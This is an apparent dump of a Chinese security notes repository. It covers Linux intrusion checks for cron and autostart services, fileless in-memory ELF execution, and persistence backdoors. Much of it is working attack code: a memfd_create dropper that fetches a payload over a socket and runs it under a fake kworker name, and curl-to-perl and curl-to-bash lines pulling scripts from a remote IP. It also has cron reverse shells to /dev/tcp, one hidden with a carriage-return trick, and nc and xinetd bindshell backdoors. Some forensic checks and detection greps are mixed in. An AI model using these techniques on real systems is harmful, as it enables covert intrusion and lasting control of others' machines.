240 | 241 | 242 | # 0x05 定时性任务分析 243 | 244 | ## 1 定时任务crond 245 | 246 | 这种定时任务分两部分,一种定义于/var/spool/cron/crontabs/{user}。平时由各用户使用crontab -e 进行配置。 247 | 248 | ```shell 249 | USER_LIST=`cat /etc/passwd|grep bash | awk -F: '{print $1}'` 250 | for i in $USER_LIST; do echo -ne "\n\n${i}\n"; crontab -u $i -l; done 251 | for i in $USER_LIST; do echo -ne "\n\n${i}\n"; cat -A /var/spool/cron/crontabs/$i; done 252 | ``` 253 | 254 | 一种定义于/etc/crontab,用于手动编辑,与上面不同之处在于其中的定时任务项内需要指定好执行用户。"/etc/cron.d/*"和"/etc/cron.\*/\*"也与定时性任务有关,必要的时候也要检查其中是否被插入周期性调用的执行执行命令。 255 | 256 | 检查过程中可以重点关注:定时通信(下载、外发),启动的程序路径异常 257 | 258 | ## 2 其他 259 | 260 | anacrontab与logrotate也是存在周期调用的定时程序,两者与crond关系很大。在检查/etc/cron*/目录下的文件时顺带可以检查了。 261 | 262 | at用于临时定时执行某任务。使用atq命令可以查看当前系统内待执行的任务。 263 | 264 | at -c ${编号}可以查看某项具体任务的内容。 265 | 266 | # 0x06 自启动服务检查 267 | 268 | 自启动顾名思义伴随操作系统启动后自动运行的脚本或命令。Linux下关于自启动管理最常见的是使用systemd、init.d,前者是后者的替代,目前已经默认启用于大多数Linux发行版中。 269 | 270 | 攻击者获得主机root权限后,可以在自启动脚本目录部署自己的自启动服务,达到每次开机就运行的目的。排查的重点主要集中于当前自启动级别下目录文件的排查。 271 | 272 | 273 | 274 | ## 1 systemd检查 275 | 276 | systemd自启动脚本的位置有以下三处,在实际场景中,攻击者常将自启动脚本部署于第一处: 277 | 278 | + /etc/systemd/system/ 系统管理员安装的自启动单元, 优先级更高 279 | 280 | + /run/system/system: 系统执行过程中所产生的服务脚本,优先级次之,一般可忽略。 281 | 282 | + [/usr]/lib/systemd/system/ 软件安装的自启动单元 283 | 284 | 给出两种思路。 285 | 286 | ### 1.1 通过systemctl命令 287 | 288 | 过滤出系统内默认启动的自启动任务 289 | 290 | ```shell 291 | systemctl list-unit-files --type service |grep enabled 292 | find / -name rtkit-daemon.service|grep -v "/sys" 293 | #通过检查该service文件内部是否含有通信、启动未知文件的操作初步进行识别。 294 | #最后,通过检查与网上搜索确定了该文件是安全文件,只是名字比较奇葩而已。 295 | ``` 296 | 297 | ### 1.2 手工分析 298 | 299 | ```shell 300 | # 简单过滤出含有疑似特殊字符的service文件 301 | grep "sh\\|nc \\|./\\|nohup\\|cat" -rl /lib/systemd/system/ 302 | grep "sh\\|nc \\|./\\|nohup\\|cat" -rl /lib/systemd/system/ 303 | # 手工分析service文件中的内容 304 | ``` 305 | 306 | 307 | 308 | ## 2 init检查 309 | 310 | 早期,init自启动脚本的位置主要集中于/etc/rc.d/*。后来,其中的内容直接放到了/etc目录下。一些系统中二者同时存在(为了兼容性建立了符号连接)。init服务作为过时的服务,有很多问题,目前不少系统已经默认关闭了init管理器。 311 | 312 | Linux系统有0~6共7个运行等级,最常见的是3(多用户),5(图形化)。使用runlevel(或who -r或直接查看/etc/inittab)确定运行等级后有针对性地分析。 313 | 314 | 如前所述,如果分析的设备属于老版本的Linux。需要关注以下文件或目录中有无攻击者定义的恶意脚本: 315 | 316 | /etc/rc.d/rc{0..6}.d /etc/rc.d/rc.local /etc/rc.d/init.d/* /etc/rc.d/rc.sysinit 317 | 318 | /etc/rc{0..6}.d /etc/rc.local /etc/init.d/* 319 | 320 | 可以从几个方面分析自启动脚本/任务。 321 | 322 | 1. 分析/etc/rc.d/rc.sysinit。 323 | 324 | 2. 分析/etc/rc.d/rc${RUN_LEVEL}.d/S*。 325 | 326 | 3. 分析/etc/rc.d/rc.local。 327 | 328 | 329 | 330 | 331 | 332 | 333 | 334 | 335 | 336 | 337 | 338 | 339 | 340 | 341 | 342 | 343 | 344 | 345 | 346 | 347 | 348 | 349 | 350 | 351 | 352 | 353 | 354 | 355 | 356 | 357 | 358 | 359 | 360 | 361 | 362 | 363 | 364 | 365 | 366 | 367 | 368 | 369 | 370 | 371 | 372 | -------------------------------------------------------------------------------- /持久控制/Linux/Linux下的无文件攻击.md: -------------------------------------------------------------------------------- 1 | # 0x00 无文件攻击(Linux) 2 | 3 | 持久控制、不落地种马、躲避检测。 4 | 5 | ## 1 整体思路 6 | 7 | **step1**: 代码寄存。将核心代码放到远离目标的远端服务器上。 8 | 9 | elf文件、命令、脚本语言代码。 10 | 11 | 12 | 13 | **step2**: 加载代码到内存。 14 | 15 | shm_open 创建共享内存文件,源于Linux进程间使用共享达到快速交换数据的思想。该文件存在于/dev/shm/或/tmpfs/目录下。 16 | 17 | memfd_create 获取一个匿名文件并返回可供操作的文件描述符。该匿名文件存在于/proc/pid/fd/目录下。 18 | 19 | 基于shm_open的无文件攻击现在已经没人讨论了,隐身性较差。 20 | 21 | 22 | 23 | **step3**: 调用运行。 24 | 25 | libc提供了不少执行可执行文件的函数,这类函数常被称为execl函数族。fexecve是无文件攻击场景下最爱用的函数,给定一个文件描述符,它就能运行指向的文件。 26 | 27 | 28 | 29 | ### 1.1 公开进展 30 | 31 | 当前针对Linux的无文件攻击demo普遍要求目标设备上有一个已落地文件。这个落地文件是个加载器,用它加载真正需要运行的代码。 32 | 33 | ![](https://raw.githubusercontent.com/aplyc1a/blogs_picture/master/image-20211202145901770.png) 34 | 35 | #### 1.1.1 C码加载器 36 | 37 | ```c 38 | //https://0x00sec.org/t/super-stealthy-droppers/3715 39 | #include 40 | #include 41 | 42 | #include 43 | 44 | #include 45 | #include 46 | #include 47 | #include 48 | 49 | #define __NR_memfd_create 319 50 | #define MFD_CLOEXEC 1 51 | 52 | static inline int memfd_create(const char *name, unsigned int flags) { 53 | return syscall(__NR_memfd_create, name, flags); 54 | } 55 | 56 | extern char **environ; 57 | 58 | int main (int argc, char **argv) { 59 | int fd, s; 60 | unsigned long addr = 0x0100007f11110002; 61 | char *args[2]= {"[kworker/u!0]", NULL}; 62 | char buf[1024]; 63 | 64 | // Connect 65 | if ((s = socket (PF_INET, SOCK_STREAM, IPPROTO_TCP)) < 0) exit (1); 66 | if (connect (s, (struct sockaddr*)&addr, 16) < 0) exit (1); 67 | if ((fd = memfd_create("a", MFD_CLOEXEC)) < 0) exit (1); 68 | 69 | while (1) { 70 | if ((read (s, buf, 1024) ) <= 0) break; 71 | write (fd, buf, 1024); 72 | } 73 | close (s); 74 | 75 | if (fexecve (fd, args, environ) < 0) exit (1); 76 | 77 | return 0; 78 | 79 | } 80 | ``` 81 | 82 | 83 | 84 | #### 1.1.2 Python落地加载器 85 | 86 | https://www.cnblogs.com/LittleHann/p/12049910.html#_label3_4_1_3 87 | 88 | ![](https://raw.githubusercontent.com/aplyc1a/blogs_picture/master/image-20211202151648960.png) 89 | 90 | #### 1.1.3 Perl无文件加载器 91 | 92 | https://magisterquis.github.io/2018/03/31/in-memory-only-elf-execution.html 93 | 94 | ```shell 95 | cat ./elfload.pl | ssh user@target /bin/bash -c '"exec -a /sbin/iscsid perl"' 96 | ``` 97 | 98 | 相对来说,三种姿势里面这种方式的无文件攻击隐蔽性最高。但是并不是每个人都对perl很熟,因此我研究了一下,实现了几种其他脚本语言的无文件攻击器。用它可以实现加载ELF、运行自定义命令。 99 | 100 | ## 2 Perl 101 | 102 | perl版的代码最早来源于@magisterquis,国内不少关于这篇代码的分析都抄自”逢魔安全实验室“的分析。 103 | 104 | https://magisterquis.github.io/2018/03/31/in-memory-only-elf-execution.html 105 | 106 | 实际上这份代码是目前最纯粹的无文件Linux攻击方案,代码非常之经典。它摆脱了加载器落地的问题,实现了真正的无文件。 107 | 108 | ### 无文件一句话 109 | 110 | ```shell 111 | curl https://213.12.122.13:46379/py2e21ms20sm023sd320/core.pl|perl 112 | ``` 113 | 114 | ### 服务器端部署 115 | 116 | 远程服务器上的待加载文件代码由三部分组成 117 | 118 | **第一部分** 119 | 120 | ```shell 121 | cat >> elfload.pl <&='.$fd) or die "open: $!"; 138 | select((select($FH),$l=1)[0]); 139 | 140 | # Load binary into anonymous file (i. e. into memory) 141 | print "Writing ELF binary to memory..."; 142 | EOF 143 | ``` 144 | 145 | 146 | 147 | **第二部分** 148 | 149 | ```shell 150 | perl -e '$/=\32;print"print \$FH pack q/H*/, q".(unpack"H*")."/\ or die qq/write: \$!/;\n"while(<>)' elfdemo >> elfload.pl 151 | ``` 152 | 153 | 154 | 155 | **第三部分** 156 | 157 | ```shell 158 | cat >> elfload.pl <>>>> TASK_START 352 | whoami > ./itworks 353 | `cat ./task.sh` 354 | ### <<<<< TASK_END 355 | sleep 10 356 | curl -k -s https://213.12.122.13:46379/VsanWF70jtXvThCq5IrcfwiySARmoz/bash/do.sh|setsid bash & 357 | ``` 358 | 359 | 360 | 361 | ## 6 C语言版 362 | 363 | LoLBins in Linux Based C. 364 | 365 | ### 6.1 ELF加载器(共享内存) 366 | 367 | ```c 368 | //gcc 1.c -lrt 369 | //https://www.cnblogs.com/qiyeboy/p/12547204.html 370 | #include 371 | #include 372 | #include 373 | #include 374 | #include 375 | #include 376 | 377 | static char *args[] = { 378 | "[ipv6_addrconf]", 379 | "192.168.44.1", 380 | NULL 381 | }; 382 | 383 | extern char **environ; 384 | 385 | int main(void) 386 | { 387 | struct stat st; 388 | void *p; 389 | int fd, shm_fd, rc; 390 | 391 | shm_fd = shm_open("pping", O_RDWR | O_CREAT, 0777); 392 | if (shm_fd == -1) { 393 | perror("shm_open"); 394 | exit(1); 395 | } 396 | 397 | rc = stat("/usr/bin/ping", &st); 398 | if (rc == -1) { 399 | perror("stat"); 400 | exit(1); 401 | } 402 | 403 | rc = ftruncate(shm_fd, st.st_size); 404 | if (rc == -1) { 405 | perror("ftruncate"); 406 | exit(1); 407 | } 408 | 409 | p = mmap(NULL, st.st_size, PROT_READ | PROT_WRITE, MAP_SHARED, 410 | shm_fd, 0); 411 | if (p == MAP_FAILED) { 412 | perror("mmap"); 413 | exit(1); 414 | } 415 | 416 | fd = open("/usr/bin/ping", O_RDONLY, 0); 417 | if (fd == -1) { 418 | perror("openls"); 419 | exit(1); 420 | } 421 | //复制fd对应文件的内容到p空间中 422 | rc = read(fd, p, st.st_size); 423 | if (rc == -1) { 424 | perror("read"); 425 | exit(1); 426 | } 427 | if (rc != st.st_size) { 428 | fputs("Strange situation!\n", stderr); 429 | exit(1); 430 | } 431 | 432 | munmap(p, st.st_size); 433 | close(shm_fd); 434 | //执行该命令,fexecve的用法是通过文件描述符运行文件 435 | shm_fd = shm_open("pping", O_RDONLY, 0); 436 | fexecve(shm_fd, args, environ); 437 | perror("fexecve"); 438 | return 0; 439 | } 440 | ``` 441 | 442 | ### 6.2 ELF加载器(syscall memfd_create) 443 | 444 | 功能性demo参考1.1.1即可。 445 | 446 | 地址:https://www.github.com/aplyc1a/ELFMemoryLoader.git 447 | 448 | ![](https://raw.githubusercontent.com/aplyc1a/blogs_picture/master/image-20211204194639514.png) 449 | 450 | ![](https://raw.githubusercontent.com/aplyc1a/blogs_picture/master/image-20211204194657845.png) 451 | 452 | ![](https://raw.githubusercontent.com/aplyc1a/blogs_picture/master/image-20211204194704757.png) 453 | 454 | ![](https://raw.githubusercontent.com/aplyc1a/blogs_picture/master/image-20211204194746933.png) 455 | 456 | ## 7 取证分析 457 | 458 | 由于Linux下一切皆文件的思想,因此实际还是存在一定的线索能够帮助分析是否使用了这类无文件攻击技术的。 459 | 460 | 1.Linux上部署能够检测memfd_create 调用的HI(DP)S主机安全类设备。 461 | 462 | 2.历史记录文件。 463 | 464 | 3.定位调用了memfd或使用了共享内存的进程。 465 | 466 | ![](https://raw.githubusercontent.com/aplyc1a/blogs_picture/master/image-20211202172705582.png) 467 | 468 | ```shell 469 | ls /proc/*/exe -al 2>/dev/null|grep "memfd\|/dev/shm" 470 | ``` 471 | 472 | -------------------------------------------------------------------------------- /持久控制/Linux/Linux-内存执行ELF.md: -------------------------------------------------------------------------------- 1 | 一般来说我们拿到Linux的shell后难免要上去进行各种各样的操作。无论是直接在命令行页面运行命令,亦或是通过种马实现控制,他们对资源的调用过程都极易被IPS类设备捕获到(历史记录、日志、hook),进而暴露了攻击。 2 | 3 | web安全内有一种常见的webshell叫做无文件webshell,Windows下也有无文件攻击,那么Linux下是否有类似的具备一定隐蔽性的攻击手法呢。是有的,在网上我们也能找到一些被叫做“Linux无文件攻击”(实际是内存隐蔽加载ELF)的手法。这篇文章中,我们将好好讨论讨论这类手法的研究现状。 4 | 5 | ## 0x00 使用fexecve 6 | 7 | fexecve 是glibc 2.10后引入的新函数是exec函数族的新成员,下面给出Linux man手册中对这一函数的讲解。 8 | 9 | ```text 10 | //https://man7.org/linux/man-pages/man3/fexecve.3.html 11 | DESCCRIPTION 12 | fexecve() performs the same task as execve(2), with the 13 | difference that the file to be executed is specified via a file 14 | descriptor, fd, rather than via a pathname. The file descriptor 15 | fd must be opened read-only (O_RDONLY) or with the O_PATH flag 16 | and the caller must have permission to execute the file that it 17 | refers to. 18 | 19 | NOTES 20 | On Linux with glibc versions 2.26 and earlier, fexecve() is 21 | implemented using the proc(5) filesystem, so /proc needs to be 22 | mounted and available at the time of the call. Since glibc 2.27, 23 | if the underlying kernel supports the execveat(2) system call, 24 | then fexecve() is implemented using that system call, with the 25 | benefit that /proc does not need to be mounted. 26 | 27 | The idea behind fexecve() is to allow the caller to verify 28 | (checksum) the contents of an executable before executing it. 29 | Simply opening the file, checksumming the contents, and then 30 | doing an execve(2) would not suffice, since, between the two 31 | steps, the filename, or a directory prefix of the pathname, could 32 | have been exchanged (by, for example, modifying the target of a 33 | symbolic link). fexecve() does not mitigate the problem that the 34 | contents of a file could be changed between the checksumming and 35 | the call to fexecve(); for that, the solution is to ensure that 36 | the permissions on the file prevent it from being modified by 37 | malicious users. 38 | 39 | The natural idiom when using fexecve() is to set the close-on- 40 | exec flag on fd, so that the file descriptor does not leak 41 | through to the program that is executed. This approach is 42 | natural for two reasons. First, it prevents file descriptors 43 | being consumed unnecessarily. (The executed program normally has 44 | no need of a file descriptor that refers to the program itself.) 45 | Second, if fexecve() is used recursively, employing the close-on- 46 | exec flag prevents the file descriptor exhaustion that would 47 | result from the fact that each step in the recursion would cause 48 | one more file descriptor to be passed to the new program. (But 49 | see BUGS.) 50 | 51 | BUGS 52 | If fd refers to a script (i.e., it is an executable text file 53 | that names a script interpreter with a first line that begins 54 | with the characters #!) and the close-on-exec flag has been set 55 | for fd, then fexecve() fails with the error ENOENT. This error 56 | occurs because, by the time the script interpreter is executed, 57 | fd has already been closed because of the close-on-exec flag. 58 | Thus, the close-on-exec flag can't be set on fd if it refers to a 59 | script, leading to the problems described in NOTES. 60 | ``` 61 | 62 | 简要的来说fexecve用于通过文件句柄执行可执行文件,这与exec函数族的其他函数通过参数来执行命令是不同的。如果我们写程序通过fexecve来执行其他程序就能达到在内存中临时行ELF的效果,这种方法在命令执行的场景下颇为冷门,与popen、system、execve函数显得更具隐蔽性。 63 | 64 | 当然,不是说使用这种方式运行ELF就完全无法进行发现与取证。fexecve最大的劣势也在于它使用句柄进行文件加载运行的,因此势必是依赖一个实体文件。当我们识别到恶意进程后,通过/proc目录分析就能定位到恶意文件,通过进程树分析也能发现执行fexecve操作的进程,因此这种方式虽然是通过内存加载ELF,但叫做无文件攻击显然是非常牵强的。 65 | 66 | 下面给出网上给出的一篇通过fexecve加载程序进行运行的例子。 67 | 68 | ### C语言版 69 | 70 | #### 来源与参考 71 | 72 | ```shell 73 | https://www.cnblogs.com/qiyeboy/p/12547204.html 74 | ``` 75 | 76 | #### 代码分析 77 | 78 | 示例代码利用挂载到文件系统中的共享内存分区执行文件,作者先将ping命令通过内存拷贝的方式拷贝至共享内存分区(/dev/shm),这一目录下的东西是内存中的,并不实际放置于磁盘上,因此抗磁盘取证,之后fexecve函数调用文件句柄启动了ping命令。 79 | 80 | ```c 81 | //gcc 1.c -lrt 82 | #include 83 | #include 84 | #include 85 | #include 86 | #include 87 | #include 88 | 89 | static char *args[] = { 90 | "[ipv6_addrconf]", 91 | "192.168.44.1", 92 | NULL 93 | }; 94 | 95 | extern char **environ; 96 | 97 | int main(void) 98 | { 99 | struct stat st; 100 | void *p; 101 | int fd, shm_fd, rc; 102 | 103 | shm_fd = shm_open("pping", O_RDWR | O_CREAT, 0777); 104 | if (shm_fd == -1) { 105 | perror("shm_open"); 106 | exit(1); 107 | } 108 | 109 | rc = stat("/usr/bin/ping", &st); 110 | if (rc == -1) { 111 | perror("stat"); 112 | exit(1); 113 | } 114 | 115 | rc = ftruncate(shm_fd, st.st_size); 116 | if (rc == -1) { 117 | perror("ftruncate"); 118 | exit(1); 119 | } 120 | 121 | p = mmap(NULL, st.st_size, PROT_READ | PROT_WRITE, MAP_SHARED, 122 | shm_fd, 0); 123 | if (p == MAP_FAILED) { 124 | perror("mmap"); 125 | exit(1); 126 | } 127 | 128 | fd = open("/usr/bin/ping", O_RDONLY, 0); 129 | if (fd == -1) { 130 | perror("openls"); 131 | exit(1); 132 | } 133 | //复制fd对应文件的内容到p空间中 134 | rc = read(fd, p, st.st_size); 135 | if (rc == -1) { 136 | perror("read"); 137 | exit(1); 138 | } 139 | if (rc != st.st_size) { 140 | fputs("Strange situation!\n", stderr); 141 | exit(1); 142 | } 143 | 144 | munmap(p, st.st_size); 145 | close(shm_fd); 146 | //执行该命令,fexecve的用法是通过文件描述符运行文件 147 | shm_fd = shm_open("pping", O_RDONLY, 0); 148 | fexecve(shm_fd, args, environ); 149 | perror("fexecve"); 150 | return 0; 151 | } 152 | ``` 153 | 154 | ### 优势与劣势 155 | 156 | 优势:由于/dev/shm下的内容是存在于内存中的,因此重启或磁盘备份取证都无法保留攻击样本。同时使用其他进程动态加载elf文件在日志及历史记录中也掩盖了运行恶意文件的操作。 157 | 158 | 劣势:通过审计/dev/shm下的内容差不多可以达到精准识别恶意文件及进程。只要当前系统未重启,哪怕执行恶意进程本身及其父进程都已经挂了,目录下文件依然存在。 159 | 160 | ## 0x01 使用memfd_create 161 | 162 | 下面给出Linux man手册中对这一函数的讲解。 163 | 164 | ```text 165 | //https://man7.org/linux/man-pages/man2/memfd_create.2.html 166 | DESCRIPTION 167 | memfd_create() creates an anonymous file and returns a file 168 | descriptor that refers to it. The file behaves like a regular 169 | file, and so can be modified, truncated, memory-mapped, and so 170 | on. However, unlike a regular file, it lives in RAM and has a 171 | volatile backing storage. Once all references to the file are 172 | dropped, it is automatically released. Anonymous memory is used 173 | for all backing pages of the file. Therefore, files created by 174 | memfd_create() have the same semantics as other anonymous memory 175 | allocations such as those allocated using mmap(2) with the 176 | MAP_ANONYMOUS flag. 177 | 178 | The initial size of the file is set to 0. Following the call, 179 | the file size should be set using ftruncate(2). (Alternatively, 180 | the file may be populated by calls to write(2) or similar.) 181 | 182 | The name supplied in name is used as a filename and will be 183 | displayed as the target of the corresponding symbolic link in the 184 | directory /proc/self/fd/. The displayed name is always prefixed 185 | with memfd: and serves only for debugging purposes. Names do not 186 | affect the behavior of the file descriptor, and as such multiple 187 | files can have the same name without any side effects. 188 | ``` 189 | 190 | memfd_create()会创建一个匿名文件并返回一个指向这个文件的文件描述符。这个文件就像是一个普通文件一样,所以能够被修改,截断,内存映射等等。不同于一般文件,此文件是保存在RAM中。一旦所有指向这个文件的连接丢失,那么这个文件就会自动被释放。 191 | 192 | 攻击者可以通过这一函数创建恶意的匿名文件,实现隐蔽的无文件的内存加载elf攻击。 193 | 194 | 下面给出网上关于memfd_create()的几个经典的示例代码。 195 | 196 | ### C语言版-1 197 | 198 | #### 来源与参考 199 | 200 | 代码是由@fbkcs最早在https://blog.fbkcs.ru/en/elf-in-memory-execution/ 网站上发表的。这篇文章知名度非常高。国内也有不少研究人员基于这篇文章进行分析与研究。 201 | 202 | ```shell 203 | https://blog.fbkcs.ru/en/elf-in-memory-execution/ 204 | https://www.anquanke.com/post/id/168791 205 | https://blog.csdn.net/Rong_Toa/article/details/109845832#t9 206 | ``` 207 | 208 | #### 代码分析 209 | 210 | 示例代码中使用SYS_memfd_create创建一个子进程,将其输出重定向至一个临时文件,等待子进程结束,从临时文件中读取子进程输出数据。通常情况下,*nix环境会使用|管道将一个程序的输出重定向至另一个程序的输入。 211 | 212 | ```shell 213 | #include 214 | #include 215 | #include 216 | #include 217 | #include 218 | #include 219 | 220 | int main() 221 | { 222 | int fd; 223 | pid_t child; 224 | char buf[BUFSIZ] = ""; 225 | ssize_t br; 226 | // 通过syscall调用memfd_create创建匿名文件 227 | fd = syscall(SYS_memfd_create, "foofile", 0); 228 | if (fd == -1) 229 | { 230 | perror("memfd_create"); 231 | exit(EXIT_FAILURE); 232 | } 233 | // 通过fork函数确保后续子进程关闭后,再继续执行父进程的代码。 234 | child = fork(); 235 | if (child == 0) 236 | { 237 | // dup2函数类似于Linux下的重定向‘>’,下面的代码中 238 | // 使用dup2是为了将原本通过execlp执行时输出在标准输出(被linux定义为句柄1)的内容重定向到匿名文件中,(即句柄fd内) 239 | dup2(fd, 1); 240 | close(fd); 241 | execlp("/bin/date", "/bin/date", NULL); 242 | perror("execlp date"); 243 | exit(EXIT_FAILURE); 244 | } 245 | else if (child == -1) 246 | { 247 | perror("fork"); 248 | exit(EXIT_FAILURE); 249 | } 250 | 251 | waitpid(child, NULL, 0); 252 | 253 | lseek(fd, 0, SEEK_SET); 254 | // 再将fd内获取到的执行输出重新拷贝出来 255 | br = read(fd, buf, BUFSIZ); 256 | if (br == -1) 257 | { 258 | perror("read"); 259 | exit(EXIT_FAILURE); 260 | } 261 | buf[br] = 0; 262 | 263 | printf("child said: '%s'n", buf); 264 | 265 | exit(EXIT_SUCCESS); 266 | } 267 | ``` 268 | 269 | 270 | 271 | ### C语言版-2 272 | 273 | #### 来源与参考 274 | 275 | 代码是由国内的安全厂商奇安信开源的一款工具,名叫ptrace,代码言简意赅基本上懂C的能直接看着猜出代码的意思,同样的网上也有不少分析。代码仓库地址如下: 276 | 277 | https://github.com/QAX-A-Team/ptrace 278 | 279 | #### 代码分析 280 | 281 | ```c 282 | #include 283 | #include 284 | #include 285 | #include 286 | #include 287 | #include 288 | #include 289 | #include 290 | 291 | int anonyexec(const char *path, char *argv[]) 292 | { 293 | int fd, fdm, filesize; 294 | void *elfbuf; 295 | char cmdline[256]; 296 | 297 | //打开旧文件,记录其大小、内容 298 | fd = open(path, O_RDONLY); 299 | filesize = lseek(fd, SEEK_SET, SEEK_END); 300 | lseek(fd, SEEK_SET, SEEK_SET); 301 | elfbuf = malloc(filesize); 302 | read(fd, elfbuf, filesize); 303 | close(fd); 304 | 305 | // 创建匿名文件 306 | fdm = syscall(__NR_memfd_create, "elf", MFD_CLOEXEC); 307 | ftruncate(fdm, filesize); 308 | // 将旧文件内容拷贝至匿名文件,获得副本 309 | write(fdm, elfbuf, filesize); 310 | free(elfbuf); 311 | //对匿名文件的运行,这里使用通过execve直接执行本进程的/proc/self/fd/[匿名文件句柄]进行 312 | sprintf(cmdline, "/proc/self/fd/%d", fdm); 313 | argv[0] = cmdline; 314 | execve(argv[0], argv, NULL); 315 | free(elfbuf); 316 | return -1; 317 | } 318 | 319 | int main() 320 | { 321 | char *argv[] = {"/bin/uname", "-a", NULL}; 322 | int result =anonyexec("/bin/uname", argv); 323 | return result; 324 | } 325 | 326 | ``` 327 | 328 | ### python版本-1 329 | 330 | #### 来源与参考 331 | 332 | 这里给出一段使用python脚本完成memfd_create调用的例子,代码来自fireELF项目,具体的代码地址为: 333 | 334 | https://github.com/rek7/fireELF/blob/master/payloads/simple.py 335 | 336 | 同样的,网上已有不少现成的代码讲解与分析。 337 | 338 | ```shell 339 | https://www.cnblogs.com/lsgxeva/p/12956858.html 340 | https://blog.csdn.net/Rong_Toa/article/details/109845832#t9 341 | ``` 342 | 343 | #### 代码分析 344 | 345 | ```python 346 | import base64 347 | 348 | desc = {"name" : "memfd_create", "description" : "Payload using memfd_create", "archs" : "all", "python_vers" : ">2.5"} 349 | 350 | def main(is_url, url_or_payload): 351 | payload = '''import ctypes, os, urllib2, base64 352 | libc = ctypes.CDLL(None) 353 | argv = ctypes.pointer((ctypes.c_char_p * 0)(*[])) 354 | syscall = libc.syscall 355 | fexecve = libc.fexecve''' 356 | if is_url: 357 | payload += '\ncontent = urllib2.urlopen("{}").read()'.format(url_or_payload) 358 | else: 359 | encoded_payload = base64.b64encode(url_or_payload).decode() 360 | payload += '\ncontent = base64.b64decode("{}")'.format(encoded_payload) 361 | payload += '''\nfd = syscall(319, "", 1) 362 | os.write(fd, content) 363 | fexecve(fd, argv, argv)''' 364 | return payload 365 | ``` 366 | 367 | 我们再进一步从上面代码中提取出核心代码: 368 | 369 | ```python 370 | import ctypes, os, urllib2, base64 371 | libc = ctypes.CDLL(None) 372 | argv = ctypes.pointer((ctypes.c_char_p * 0)(*[])) 373 | syscall = libc.syscall 374 | fexecve = libc.fexecve 375 | 376 | content = PAYLOAD_2_EXECUTE 377 | # memfd_create的函数调用码是319 378 | fd = syscall(319, "", 1) 379 | os.write(fd, content) 380 | fexecve(fd, argv, argv) 381 | ``` 382 | 383 | 可以从上面的代码中发现,作者的想法是先通过syscall调用memfd_create创建匿名文件,再把句柄交给fexecve去执行,代码还是很精辟犀利的。 384 | 385 | ### python版-2 386 | 387 | #### 来源与参考 388 | 389 | 下面这段无名代码是从网上一篇安全分析文章中看到的,代码的基本思路是从 390 | 391 | https://www.anquanke.com/post/id/168791 392 | 393 | #### 代码分析 394 | 395 | ```python 396 | import ctypes 397 | import os 398 | # 读入待执行文件的内容 399 | binary = open('/tmp/rev-shell','rb').read() 400 | 401 | # 创建匿名文件 402 | fd = ctypes.CDLL(None).syscall(319,"",1) 403 | # 完成将待执行文件内容写入到匿名文件的复制 404 | final_fd = open('/proc/self/fd/'+str(fd),'wb') 405 | final_fd.write(binary) 406 | final_fd.close() 407 | 408 | fork1 = os.fork() #create a child 409 | if 0 != fork1: os._exit(0) 410 | 411 | # 通过syscall的方式调用setsid()函数,再执行fork,猜测目的是用来将匿名文件的进程挂载到其他进程下。 412 | ctypes.CDLL(None).syscall(112) 413 | fork2 = os.fork() 414 | if 0 != fork2: os._exit(0) 415 | # 正式运行起来恶意匿名文件 416 | os.execl('/proc/self/fd/'+str(fd),'argv0','argv1') 417 | ``` 418 | 419 | ### perl版 420 | 421 | #### 来源与分析 422 | 423 | perl版的代码最早来源于@magisterquis,国内不少关于这篇代码的分析都抄自”逢魔安全实验室“的分析。 424 | 425 | https://magisterquis.github.io/2018/03/31/in-memory-only-elf-execution.html 426 | 427 | 实际上这份代码是目前最纯粹的无文件Linux攻击方案,代码非常之经典。 428 | 429 | #### 代码分析 430 | 431 | 代码由三部分组成 432 | 433 | **第一部分** 434 | 435 | ```shell 436 | cat >> elfload.pl <&='.$fd) or die "open: $!"; 453 | select((select($FH),$l=1)[0]); 454 | 455 | # Load binary into anonymous file (i. e. into memory) 456 | print "Writing ELF binary to memory..."; 457 | EOF 458 | ``` 459 | 460 | 461 | 462 | **第二部分** 463 | 464 | ```shell 465 | perl -e '$/=\32;print"print \$FH pack q/H*/, q".(unpack"H*")."/\ or die qq/write: \$!/;\n"while(<>)' elfdemo >> elfload.pl 466 | ``` 467 | 468 | 469 | 470 | **第三部分** 471 | 472 | ```shell 473 | cat >> elfload.pl <& /dev/tcp/192.168.44.128/2333 0>&1"; } | crontab - 208 | (crontab -l;printf "*/1 * * * * bash -i >& /dev/tcp/192.168.44.128/5555 0>&1;\rno crontab for `whoami`%100c\n")|crontab - 209 | echo ' * */5 * * * root ln -sf /usr/sbin/sshd /tmp/su;/tmp/su -oPort=31337' >> /etc/crontab 210 | ``` 211 | 212 | ### 1.3 服务型后门 213 | 214 | #### 1.3.1 systemd后门 215 | 216 | 参考 0x06 自启动任务排查,关注以下目录中是否存在后门指令。 217 | 218 | ```shell 219 | /etc/systemd/system/ 220 | /run/system/system/ 221 | [/usr]/lib/systemd/system/ 222 | /etc/rc.* 223 | ``` 224 | 225 | 以下给出一个例子,systemd自启动后门运行的检查过程。 226 | 227 | ```shell 228 | # 发现开机自启动项存在名为backdoor的服务,同时网络端口上有个nc监听在41111口上。 229 | systemctl list-unit-files --type service |grep enabled 230 | netstat -ntaup 231 | 232 | # 查看该service文件发现以下内容,这是一段bindshell指令。 233 | cat /usr/lib/systemd/system/backdoor.service 234 | 235 | [Unit] 236 | Description=Just a simple backdoor for test 237 | After=network.target 238 | [Service] 239 | Type=forking 240 | ExecStart=bash -c "nc -l -p 41111 -e /bin/bash &" 241 | ExecReload= 242 | ExecStop= 243 | PrivateTmp=true 244 | [Install] 245 | WantedBy=multi-user.target 246 | ``` 247 | 248 | #### 1.3.2 (x)inetd后门 249 | 250 | inetd是早期的超级任务管理程序,后来被xinetd代替。目前不少系统默认没有安装并开启xinetd。但请注意,系统内开启了telnet则一定要检查(x)inetd。 251 | 252 | 一个典型的inetd后门形如: 253 | ```shell 254 | #这是一个bindshell后门 255 | #inetd进程监听着某端口 256 | netstat -ntaup|grep inetd 257 | 258 | cat /etc/inetd.conf #发现存在daytime stream tcp nowait /bin/sh sh –I 259 | 260 | cat /etc/services |grep daytime #发现daytime服务绑定在(13/*) 261 | 262 | ``` 263 | 264 | 一个典型的xinetd后门形如: 265 | ```shell 266 | #这是一个bindshell后门 267 | cat /etc/xinet.d/safe-guard.xinetd 268 | 269 | # default: yes 270 | # description: The safe-guard server servestelnet sessions; 271 | service safe-guard 272 | { 273 | flags = REUSE 274 | socket_type = stream 275 | wait = no 276 | user = root 277 | server =/bin/bash 278 | log_on_failure += USERID 279 | disable = no 280 | } 281 | 282 | cat /etc/services |grep safe-guard 283 | safe-guard 58888/tcp # CentOS safe-guard master daemon 284 | 285 | ``` 286 | 287 | 